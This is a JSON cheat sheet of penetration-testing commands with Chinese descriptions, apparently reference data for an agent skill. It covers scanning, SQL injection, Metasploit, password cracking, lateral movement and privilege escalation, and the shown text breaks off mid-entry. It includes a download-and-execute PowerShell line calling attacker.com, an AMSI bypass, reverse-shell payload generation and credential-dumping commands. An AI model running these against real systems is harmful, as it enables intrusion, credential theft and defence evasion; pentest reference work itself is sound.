vlad/reverse-skills-max
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity
Files
main
reverse-skills-max/reverse-skill-repo/skills/pentest-tools/src-hunter/references/payloader/raw/tools.json

5462 lines
170 KiB
JSON
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

[
{
"id": "nmap",
"name": "Nmap",
"description": "网络扫描和安全审计工具",
"category": "信息收集",
"tags": [],
"commands": [
{
"command": "nmap -sT target_ip",
"description": "使用TCP连接方式进行端口扫描",
"platform": "all",
"syntaxBreakdown": [
{
"part": "nmap",
"explanation": "Nmap扫描工具",
"type": "command"
},
{
"part": "-sT",
"explanation": "TCP连接扫描模式",
"type": "parameter"
},
{
"part": "target_ip",
"explanation": "目标IP地址",
"type": "value"
}
]
},
{
"command": "nmap -sS target_ip",
"description": "使用SYN包进行隐蔽扫描，需要root权限",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-sS",
"explanation": "SYN扫描(半开扫描)，更隐蔽",
"type": "parameter"
}
]
},
{
"command": "nmap -sU target_ip",
"description": "扫描UDP端口",
"platform": "all",
"syntaxBreakdown": [
{
"part": "-sU",
"explanation": "UDP扫描模式",
"type": "parameter"
}
]
},
{
"command": "nmap -sV target_ip",
"description": "探测开放端口的服务版本信息",
"platform": "all",
"syntaxBreakdown": [
{
"part": "-sV",
"explanation": "服务版本探测",
"type": "parameter"
}
]
},
{
"command": "nmap -O target_ip",
"description": "尝试识别目标操作系统",
"platform": "all",
"syntaxBreakdown": [
{
"part": "-O",
"explanation": "操作系统探测",
"type": "parameter"
}
]
},
{
"command": "nmap -A target_ip",
"description": "启用高级功能进行全面扫描",
"platform": "all",
"syntaxBreakdown": [
{
"part": "-A",
"explanation": "启用OS检测、版本检测、脚本扫描和traceroute",
"type": "parameter"
}
]
},
{
"command": "nmap -p 22,80,443 target_ip",
"description": "只扫描指定的端口",
"platform": "all",
"syntaxBreakdown": [
{
"part": "-p",
"explanation": "指定端口",
"type": "parameter"
},
{
"part": "22,80,443",
"explanation": "端口号列表",
"type": "value"
}
]
},
{
"command": "nmap -p 1-1000 target_ip",
"description": "扫描指定范围的端口",
"platform": "all",
"syntaxBreakdown": [
{
"part": "1-1000",
"explanation": "端口范围",
"type": "value"
}
]
},
{
"command": "nmap --script=vuln target_ip",
"description": "使用Nmap脚本引擎进行漏洞扫描",
"platform": "all",
"syntaxBreakdown": [
{
"part": "--script=",
"explanation": "指定Nmap脚本",
"type": "parameter"
},
{
"part": "vuln",
"explanation": "漏洞检测脚本类别",
"type": "value"
}
]
},
{
"command": "nmap --script=smb-enum-shares,smb-enum-users target_ip",
"description": "扫描SMB共享和用户信息",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "nmap --script=http-enum,http-vuln* -p 80,443 target_ip",
"description": "HTTP服务漏洞扫描",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "nmap -F target_ip",
"description": "快速扫描，只扫描常用端口",
"platform": "all",
"syntaxBreakdown": [
{
"part": "-F",
"explanation": "快速模式，扫描常用100个端口",
"type": "parameter"
}
]
},
{
"command": "nmap 192.168.1.0/24",
"description": "扫描整个网段",
"platform": "all",
"syntaxBreakdown": [
{
"part": "192.168.1.0/24",
"explanation": "CIDR格式的网段",
"type": "value"
}
]
},
{
"command": "nmap -oN output.txt target_ip",
"description": "将扫描结果保存到文件",
"platform": "all",
"syntaxBreakdown": [
{
"part": "-oN",
"explanation": "普通格式输出",
"type": "parameter"
},
{
"part": "-oX",
"explanation": "XML格式输出",
"type": "parameter"
},
{
"part": "-oG",
"explanation": "Grepable格式输出",
"type": "parameter"
}
]
}
]
},
{
"id": "sqlmap",
"name": "SQLMap",
"description": "自动化SQL注入工具",
"category": "Web渗透",
"tags": [],
"commands": [
{
"command": "sqlmap -u \"http://target.com/page?id=1\"",
"description": "对URL进行SQL注入测试",
"platform": "all",
"syntaxBreakdown": [
{
"part": "sqlmap",
"explanation": "SQLMap工具",
"type": "command"
},
{
"part": "-u",
"explanation": "指定目标URL",
"type": "parameter"
}
]
},
{
"command": "sqlmap -u \"http://target.com/page?id=1&name=test\" -p id",
"description": "只测试指定的参数",
"platform": "all",
"syntaxBreakdown": [
{
"part": "-p",
"explanation": "指定要测试的参数",
"type": "parameter"
}
]
},
{
"command": "sqlmap -u \"http://target.com/login\" --data=\"user=admin&pass=123\"",
"description": "测试POST请求",
"platform": "all",
"syntaxBreakdown": [
{
"part": "--data=",
"explanation": "POST数据",
"type": "parameter"
}
]
},
{
"command": "sqlmap -u \"http://target.com/page?id=1\" --cookie=\"PHPSESSID=xxx\"",
"description": "使用Cookie进行认证",
"platform": "all",
"syntaxBreakdown": [
{
"part": "--cookie=",
"explanation": "设置Cookie",
"type": "parameter"
}
]
},
{
"command": "sqlmap -u \"http://target.com/page?id=1\" --dbms=mysql",
"description": "指定后端数据库类型",
"platform": "all",
"syntaxBreakdown": [
{
"part": "--dbms=",
"explanation": "数据库类型(mysql,mssql,oracle等)",
"type": "parameter"
}
]
},
{
"command": "sqlmap -u \"http://target.com/page?id=1\" --dbs",
"description": "获取所有数据库名",
"platform": "all",
"syntaxBreakdown": [
{
"part": "--dbs",
"explanation": "枚举数据库",
"type": "parameter"
}
]
},
{
"command": "sqlmap -u \"http://target.com/page?id=1\" -D database_name --tables",
"description": "获取指定数据库的表",
"platform": "all",
"syntaxBreakdown": [
{
"part": "-D",
"explanation": "指定数据库",
"type": "parameter"
},
{
"part": "--tables",
"explanation": "枚举表",
"type": "parameter"
}
]
},
{
"command": "sqlmap -u \"http://target.com/page?id=1\" -D db -T table --columns",
"description": "获取指定表的列",
"platform": "all",
"syntaxBreakdown": [
{
"part": "-T",
"explanation": "指定表",
"type": "parameter"
},
{
"part": "--columns",
"explanation": "枚举列",
"type": "parameter"
}
]
},
{
"command": "sqlmap -u \"http://target.com/page?id=1\" -D db -T table -C col1,col2 --dump",
"description": "提取指定列的数据",
"platform": "all",
"syntaxBreakdown": [
{
"part": "-C",
"explanation": "指定列",
"type": "parameter"
},
{
"part": "--dump",
"explanation": "提取数据",
"type": "parameter"
}
]
},
{
"command": "sqlmap -u \"http://target.com/page?id=1\" --os-shell",
"description": "尝试获取操作系统Shell",
"platform": "all",
"syntaxBreakdown": [
{
"part": "--os-shell",
"explanation": "获取OS交互式Shell",
"type": "parameter"
}
]
},
{
"command": "sqlmap -u \"http://target.com/page?id=1\" --proxy=\"http://127.0.0.1:8080\"",
"description": "通过代理发送请求",
"platform": "all",
"syntaxBreakdown": [
{
"part": "--proxy=",
"explanation": "设置代理服务器",
"type": "parameter"
}
]
},
{
"command": "sqlmap -u \"http://target.com/page?id=1\" --technique=BEUST",
"description": "指定注入技术类型",
"platform": "all",
"syntaxBreakdown": [
{
"part": "--technique=",
"explanation": "B=布尔盲注,E=报错注入,U=联合查询,S=堆叠,T=时间盲注",
"type": "parameter"
}
]
},
{
"command": "sqlmap -u \"http://target.com/page?id=1\" --level=5 --risk=3",
"description": "设置扫描级别和风险等级",
"platform": "all",
"syntaxBreakdown": [
{
"part": "--level=",
"explanation": "扫描级别(1-5)，越高越全面",
"type": "parameter"
},
{
"part": "--risk=",
"explanation": "风险等级(1-3)，越高越危险",
"type": "parameter"
}
]
}
]
},
{
"id": "metasploit",
"name": "Metasploit",
"description": "渗透测试框架",
"category": "漏洞利用",
"tags": [],
"commands": [
{
"command": "msfconsole",
"description": "启动Metasploit控制台",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "search exploit apache",
"description": "搜索相关漏洞模块",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "search",
"explanation": "搜索命令",
"type": "command"
},
{
"part": "exploit",
"explanation": "模块类型",
"type": "value"
},
{
"part": "apache",
"explanation": "搜索关键词",
"type": "value"
}
]
},
{
"command": "use exploit/multi/handler",
"description": "选择要使用的模块",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "use",
"explanation": "使用模块命令",
"type": "command"
},
{
"part": "exploit/multi/handler",
"explanation": "模块路径",
"type": "value"
}
]
},
{
"command": "show options",
"description": "显示模块配置选项",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "show",
"explanation": "显示命令",
"type": "command"
},
{
"part": "options",
"explanation": "配置选项",
"type": "value"
}
]
},
{
"command": "set RHOSTS 192.168.1.100",
"description": "设置模块参数",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "set",
"explanation": "设置参数命令",
"type": "command"
},
{
"part": "RHOSTS",
"explanation": "目标主机参数",
"type": "parameter"
}
]
},
{
"command": "set PAYLOAD windows/meterpreter/reverse_tcp",
"description": "设置攻击载荷",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "PAYLOAD",
"explanation": "载荷参数",
"type": "parameter"
},
{
"part": "windows/meterpreter/reverse_tcp",
"explanation": "反向TCP连接的Meterpreter载荷",
"type": "value"
}
]
},
{
"command": "exploit",
"description": "执行攻击",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "exploit",
"explanation": "执行攻击命令",
"type": "command"
}
]
},
{
"command": "exploit -j",
"description": "在后台执行攻击",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-j",
"explanation": "后台任务模式",
"type": "parameter"
}
]
},
{
"command": "msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe -o payload.exe",
"description": "使用msfvenom生成恶意文件",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "msfvenom",
"explanation": "MSF载荷生成工具",
"type": "command"
},
{
"part": "-p",
"explanation": "指定载荷",
"type": "parameter"
},
{
"part": "-f exe",
"explanation": "输出格式",
"type": "parameter"
},
{
"part": "-o",
"explanation": "输出文件",
"type": "parameter"
}
]
},
{
"command": "sysinfo\ngetuid\nhashdump",
"description": "Meterpreter会话中的常用命令",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "hydra",
"name": "Hydra",
"description": "网络登录破解工具",
"category": "密码攻击",
"tags": [],
"commands": [
{
"command": "hydra -l user -P wordlist.txt ssh://target_ip",
"description": "使用用户名和密码字典爆破SSH",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "hydra",
"explanation": "Hydra破解工具",
"type": "command"
},
{
"part": "-l",
"explanation": "指定用户名",
"type": "parameter"
},
{
"part": "-L",
"explanation": "指定用户名字典文件",
"type": "parameter"
},
{
"part": "-p",
"explanation": "指定密码",
"type": "parameter"
},
{
"part": "-P",
"explanation": "指定密码字典文件",
"type": "parameter"
},
{
"part": "ssh://",
"explanation": "目标服务协议",
"type": "value"
}
]
},
{
"command": "hydra -L users.txt -P passwords.txt ftp://target_ip",
"description": "爆破FTP服务",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "hydra -l admin -P wordlist.txt target_ip http-post-form \"/login:user=^USER^&pass=^PASS^:Invalid\"",
"description": "爆破HTTP表单登录",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "http-post-form",
"explanation": "HTTP POST表单模块",
"type": "value"
},
{
"part": "^USER^",
"explanation": "用户名占位符",
"type": "value"
},
{
"part": "^PASS^",
"explanation": "密码占位符",
"type": "value"
},
{
"part": "Invalid",
"explanation": "失败响应标识",
"type": "value"
}
]
},
{
"command": "hydra -l administrator -P wordlist.txt rdp://target_ip",
"description": "爆破RDP服务",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "hydra -l root -P wordlist.txt mysql://target_ip",
"description": "爆破MySQL数据库",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "hydra -t 4 -l user -P wordlist.txt ssh://target_ip",
"description": "指定线程数",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-t",
"explanation": "并发线程数",
"type": "parameter"
}
]
},
{
"command": "hydra -R",
"description": "恢复之前中断的任务",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-R",
"explanation": "恢复任务",
"type": "parameter"
}
]
}
]
},
{
"id": "john",
"name": "John the Ripper",
"description": "密码破解工具",
"category": "密码攻击",
"tags": [],
"commands": [
{
"command": "john --wordlist=wordlist.txt hash.txt",
"description": "使用字典破解哈希",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "john",
"explanation": "John破解工具",
"type": "command"
},
{
"part": "--wordlist=",
"explanation": "指定字典文件",
"type": "parameter"
}
]
},
{
"command": "john --wordlist=wordlist.txt --format=raw-md5 hash.txt",
"description": "指定哈希格式",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "--format=",
"explanation": "指定哈希格式",
"type": "parameter"
}
]
},
{
"command": "john --show hash.txt",
"description": "显示已破解的密码",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "--show",
"explanation": "显示结果",
"type": "parameter"
}
]
},
{
"command": "unshadow /etc/passwd /etc/shadow > mypasswd\njohn --wordlist=wordlist.txt mypasswd",
"description": "破解Linux密码文件",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "unshadow",
"explanation": "合并passwd和shadow文件",
"type": "command"
}
]
},
{
"command": "zip2john protected.zip > zip.hash\njohn --wordlist=wordlist.txt zip.hash",
"description": "破解ZIP文件密码",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "zip2john",
"explanation": "提取ZIP密码哈希",
"type": "command"
}
]
},
{
"command": "rar2john protected.rar > rar.hash\njohn --wordlist=wordlist.txt rar.hash",
"description": "破解RAR文件密码",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "ssh2john id_rsa > ssh.hash\njohn --wordlist=wordlist.txt ssh.hash",
"description": "破解SSH私钥密码",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "john --incremental hash.txt",
"description": "使用暴力破解模式",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "--incremental",
"explanation": "暴力破解模式",
"type": "parameter"
}
]
}
]
},
{
"id": "hashcat",
"name": "Hashcat",
"description": "GPU加速密码破解工具",
"category": "密码攻击",
"tags": [],
"commands": [
{
"command": "hashcat -m 0 -a 0 hash.txt wordlist.txt",
"description": "使用字典破解MD5哈希",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "hashcat",
"explanation": "Hashcat破解工具",
"type": "command"
},
{
"part": "-m 0",
"explanation": "哈希类型(MD5)",
"type": "parameter"
},
{
"part": "-a 0",
"explanation": "攻击模式(字典攻击)",
"type": "parameter"
}
]
},
{
"command": "hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a",
"description": "暴力破解模式",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-a 3",
"explanation": "暴力破解模式",
"type": "parameter"
},
{
"part": "?a",
"explanation": "所有字符掩码",
"type": "value"
}
]
},
{
"command": "?l = abcdefghijklmnopqrstuvwxyz\n?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ\n?d = 0123456789\n?s = 特殊字符\n?a = 所有字符\n?b = 0x00-0xff",
"description": "掩码字符集说明",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "hashcat -m 0 -a 0 hash.txt wordlist.txt -r rules/best64.rule",
"description": "使用规则文件进行破解",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-r",
"explanation": "指定规则文件",
"type": "parameter"
}
]
},
{
"command": "hashcat -m 0 -a 1 hash.txt wordlist1.txt wordlist2.txt",
"description": "组合两个字典",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-a 1",
"explanation": "组合攻击模式",
"type": "parameter"
}
]
},
{
"command": "-m 0 = MD5\n-m 100 = SHA1\n-m 1400 = SHA256\n-m 1700 = SHA512\n-m 1000 = NTLM\n-m 1800 = SHA512crypt\n-m 3200 = bcrypt\n-m 5600 = NetNTLMv2\n-m 13100 = Kerberos TGS",
"description": "常用哈希类型编号",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "hashcat -m 0 hash.txt --show",
"description": "显示已破解的结果",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "hashcat -b",
"description": "测试GPU性能",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "crackmapexec",
"name": "CrackMapExec",
"description": "内网渗透瑞士军刀",
"category": "内网渗透",
"tags": [],
"commands": [
{
"command": "crackmapexec smb 192.168.1.0/24",
"description": "扫描网段内的SMB服务",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "crackmapexec",
"explanation": "CME工具",
"type": "command"
},
{
"part": "smb",
"explanation": "SMB协议模块",
"type": "value"
}
]
},
{
"command": "crackmapexec smb 192.168.1.0/24 -u users.txt -p Password123",
"description": "使用单个密码测试多个用户",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-u",
"explanation": "用户名或用户文件",
"type": "parameter"
},
{
"part": "-p",
"explanation": "密码或密码文件",
"type": "parameter"
}
]
},
{
"command": "crackmapexec smb 192.168.1.0/24 -u admin -p password",
"description": "测试凭证是否有效",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "crackmapexec smb 192.168.1.0/24 -u admin -H NTHASH",
"description": "使用哈希进行认证",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-H",
"explanation": "NTLM哈希",
"type": "parameter"
}
]
},
{
"command": "crackmapexec smb 192.168.1.100 -u admin -p password -x \"whoami\"",
"description": "在目标机器执行命令",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-x",
"explanation": "执行命令",
"type": "parameter"
}
]
},
{
"command": "crackmapexec smb 192.168.1.100 -u admin -p password -X \"Get-Process\"",
"description": "在目标机器执行PowerShell",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-X",
"explanation": "执行PowerShell命令",
"type": "parameter"
}
]
},
{
"command": "crackmapexec smb 192.168.1.100 -u admin -p password --sam",
"description": "导出SAM数据库",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "crackmapexec smb 192.168.1.100 -u admin -p password --lsa",
"description": "导出LSASS凭证",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "crackmapexec smb 192.168.1.100 -u admin -p password -M mimikatz",
"description": "执行Mimikatz模块",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-M",
"explanation": "指定模块",
"type": "parameter"
}
]
},
{
"command": "crackmapexec winrm 192.168.1.100 -u admin -p password",
"description": "通过WinRM执行命令",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "impacket",
"name": "Impacket",
"description": "Python网络协议库",
"category": "内网渗透",
"tags": [],
"commands": [
{
"command": "psexec.py domain/user:password@target_ip",
"description": "PsExec远程执行",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "wmiexec.py domain/user:password@target_ip",
"description": "WMI远程执行",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "atexec.py domain/user:password@target_ip \"command\"",
"description": "通过计划任务执行",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "smbexec.py domain/user:password@target_ip",
"description": "SMB远程执行",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "secretsdump.py domain/user:password@target_ip",
"description": "导出所有凭证",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "GetUserSPNs.py domain/user:password -dc-ip dc_ip -request",
"description": "Kerberoasting攻击",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "GetNPUsers.py domain/ -usersfile users.txt -format hashcat",
"description": "AS-REP Roasting攻击",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "ntlmrelayx.py -tf targets.txt -smb2support",
"description": "NTLM中继攻击",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "mssqlclient.py domain/user:password@target_ip",
"description": "MSSQL客户端",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "lookupsid.py domain/user:password@target_ip",
"description": "通过LSA枚举用户",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "powershell-pentest",
"name": "PowerShell渗透命令",
"description": "PowerShell渗透测试常用命令",
"category": "Windows渗透",
"tags": [],
"commands": [
{
"command": "powershell -ExecutionPolicy Bypass -File script.ps1",
"description": "绕过执行策略运行脚本",
"platform": "windows",
"syntaxBreakdown": [
{
"part": "-ExecutionPolicy Bypass",
"explanation": "绕过执行策略",
"type": "parameter"
}
]
},
{
"command": "IEX (New-Object Net.WebClient).DownloadString(\"http://attacker.com/script.ps1\")",
"description": "从远程下载并执行脚本",
"platform": "windows",
"syntaxBreakdown": [
{
"part": "IEX",
"explanation": "Invoke-Expression，执行字符串",
"type": "command"
},
{
"part": "Net.WebClient",
"explanation": "Web客户端类",
"type": "value"
},
{
"part": "DownloadString",
"explanation": "下载字符串内容",
"type": "value"
}
]
},
{
"command": "powershell -EncodedCommand BASE64_ENCODED_COMMAND",
"description": "使用Base64编码执行命令",
"platform": "windows",
"syntaxBreakdown": [
{
"part": "-EncodedCommand",
"explanation": "Base64编码的命令",
"type": "parameter"
}
]
},
{
"command": "Get-ComputerInfo\nsysteminfo\nGet-WmiObject -Class Win32_OperatingSystem",
"description": "获取系统信息",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Get-Process | Select-Object Name,Id,Path\nGet-WmiObject Win32_Process | Select-Object Name,ProcessId,CommandLine",
"description": "获取运行进程",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Get-Service | Where-Object {$_.Status -eq \"Running\"}\nGet-WmiObject Win32_Service | Select-Object Name,State,StartName",
"description": "获取服务信息",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Get-NetTCPConnection | Select-Object LocalAddress,LocalPort,OwningProcess\nnetstat -ano",
"description": "获取网络连接",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Get-LocalUser\nnet user\nnet localgroup administrators",
"description": "获取用户信息",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "1..1024 | % {Test-NetConnection -Port $_ -ComputerName target_ip}",
"description": "简单端口扫描",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "Get-ChildItem -Path C:\\ -Include *.txt,*.doc,*.xls -Recurse -ErrorAction SilentlyContinue",
"description": "搜索敏感文件",
"platform": "windows",
"syntaxBreakdown": []
},
{
"command": "[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiInitFailed\",\"NonPublic,Static\").SetValue($null,$true)",
"description": "绕过AMSI检测",
"platform": "windows",
"syntaxBreakdown": []
}
]
},
{
"id": "linux-privilege",
"name": "Linux提权命令",
"description": "Linux系统提权常用命令",
"category": "权限提升",
"tags": [],
"commands": [
{
"command": "uname -a\ncat /etc/issue\ncat /etc/*-release\ncat /proc/version",
"description": "获取系统版本信息",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "id\nwhoami\nw\nlast\ncat /etc/passwd\ncat /etc/shadow",
"description": "获取用户信息",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "find / -perm -4000 -type f 2>/dev/null\nfind / -perm -u=s -type f 2>/dev/null",
"description": "查找SUID权限文件",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-perm -4000",
"explanation": "SUID权限位",
"type": "parameter"
},
{
"part": "-type f",
"explanation": "文件类型",
"type": "parameter"
}
]
},
{
"command": "sudo -l\ncat /etc/sudoers",
"description": "查看SUDO权限配置",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "find / -writable -type d 2>/dev/null\nfind / -perm -222 -type d 2>/dev/null",
"description": "查找可写目录",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "searchsploit linux kernel $(uname -r)\n./linux-exploit-suggester.sh",
"description": "搜索内核漏洞",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "cat /etc/crontab\nls -la /etc/cron*\ncrontab -l",
"description": "查看计划任务",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "env\nset\necho $PATH",
"description": "查看环境变量",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "cat /root/.bash_history\ncat ~/.ssh/authorized_keys\ncat /etc/shadow\nfind / -name \"*.key\" 2>/dev/null",
"description": "查找敏感文件",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "cat /proc/1/cgroup\nfdisk -l\ncapsh --print",
"description": "检测Docker环境",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "gobuster",
"name": "Gobuster",
"description": "目录和子域名爆破工具",
"category": "信息收集",
"tags": [],
"commands": [
{
"command": "gobuster dir -u http://target.com -w wordlist.txt",
"description": "爆破网站目录",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "gobuster",
"explanation": "Gobuster工具",
"type": "command"
},
{
"part": "dir",
"explanation": "目录爆破模式",
"type": "value"
},
{
"part": "-u",
"explanation": "目标URL",
"type": "parameter"
},
{
"part": "-w",
"explanation": "字典文件",
"type": "parameter"
}
]
},
{
"command": "gobuster dir -u http://target.com -w wordlist.txt -x php,html,txt",
"description": "指定文件扩展名",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-x",
"explanation": "文件扩展名",
"type": "parameter"
}
]
},
{
"command": "gobuster dns -d target.com -w subdomains.txt",
"description": "爆破子域名",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "dns",
"explanation": "DNS爆破模式",
"type": "value"
},
{
"part": "-d",
"explanation": "目标域名",
"type": "parameter"
}
]
},
{
"command": "gobuster dir -u http://target.com -w wordlist.txt -c \"PHPSESSID=xxx\"",
"description": "使用Cookie认证",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-c",
"explanation": "设置Cookie",
"type": "parameter"
}
]
},
{
"command": "gobuster dir -u http://target.com -w wordlist.txt -H \"Authorization: Bearer token\"",
"description": "添加自定义Header",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-H",
"explanation": "添加Header",
"type": "parameter"
}
]
},
{
"command": "gobuster dir -u http://target.com -w wordlist.txt -t 50",
"description": "设置线程数",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-t",
"explanation": "线程数",
"type": "parameter"
}
]
},
{
"command": "gobuster dir -u http://target.com -w wordlist.txt -b 404,403",
"description": "忽略特定状态码",
"platform": "linux",
"syntaxBreakdown": [
{
"part": "-b",
"explanation": "黑名单状态码",
"type": "parameter"
}
]
}
]
},
{
"id": "burpsuite",
"name": "Burp Suite",
"description": "Web安全测试平台",
"category": "Web渗透",
"tags": [],
"commands": [
{
"command": "Proxy -> Options -> Proxy Listeners -> Add -> Port 8080",
"description": "配置代理监听",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "Proxy -> Intercept -> Intercept is on",
"description": "开启请求拦截",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "右键 -> Send to Repeater (Ctrl+R)",
"description": "发送请求到Repeater",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "右键 -> Send to Intruder (Ctrl+I)",
"description": "发送请求到Intruder",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "Sniper: 单个payload\nBattering ram: 同一payload\nPitchfork: 多个payload并行\nCluster bomb: 多个payload组合",
"description": "四种攻击类型说明",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "Dashboard -> New Scan -> 选择目标URL",
"description": "启动主动扫描",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "Extender -> BApp Store -> 选择插件 -> Install",
"description": "安装BApp插件",
"platform": "all",
"syntaxBreakdown": []
},
{
"command": "右键 -> Copy to clipboard -> Request",
"description": "复制请求内容",
"platform": "all",
"syntaxBreakdown": []
}
]
},
{
"id": "ffuf",
"name": "FFUF",
"description": "快速Web模糊测试工具",
"category": "Web渗透",
"tags": [],
"commands": [
{
"command": "ffuf -u http://target.com/FUZZ -w wordlist.txt",
"description": "基础目录爆破",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "ffuf -u http://target.com/FUZZ -w wordlist.txt -e .php,.html,.txt",
"description": "添加文件扩展名",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "ffuf -u http://target.com/?param=FUZZ -w wordlist.txt",
"description": "GET参数测试",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "ffuf -u http://target.com -X POST -d \"user=FUZZ&pass=test\" -w wordlist.txt",
"description": "POST数据测试",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "ffuf -u http://target.com -H \"Host: FUZZ.target.com\" -w wordlist.txt",
"description": "Host头测试",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "ffuf -u http://target.com/FUZZ -w wordlist.txt -mc 200,301,302",
"description": "匹配特定状态码",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "ffuf -u http://target.com/FUZZ -w wordlist.txt -fs 1234",
"description": "过滤特定响应大小",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "ffuf -u http://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2",
"description": "递归目录扫描",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "responder",
"name": "Responder",
"description": "LLMNR/NBT-NS/MDNS Poisoner",
"category": "内网渗透",
"tags": [],
"commands": [
{
"command": "responder -I eth0",
"description": "启动Responder监听",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "responder -I eth0 -A",
"description": "被动分析模式",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "responder -I eth0 -wF",
"description": "启用WPAD代理攻击",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "responder -I eth0 -f",
"description": "启用Finger服务",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "responder -I eth0 --disable-smb",
"description": "禁用SMB服务",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "cat /usr/share/responder/logs/*.txt",
"description": "查看捕获的哈希",
"platform": "linux",
"syntaxBreakdown": []
},
{
"command": "responder -I eth0 -D",
"description": "启用DHCP欺骗",
"platform": "linux",
"syntaxBreakdown": []
}
]
},
{
"id": "evil-winrm",
"name": "Evil-WinRM",
"description": "WinRM远程管理工具",
"category": "内网渗透",
"tags": [],
"commands": [
{
"command": "evil-winrm -i target_ip -u user -p password",
"description": "使用密码连接",
"platform": "linux",
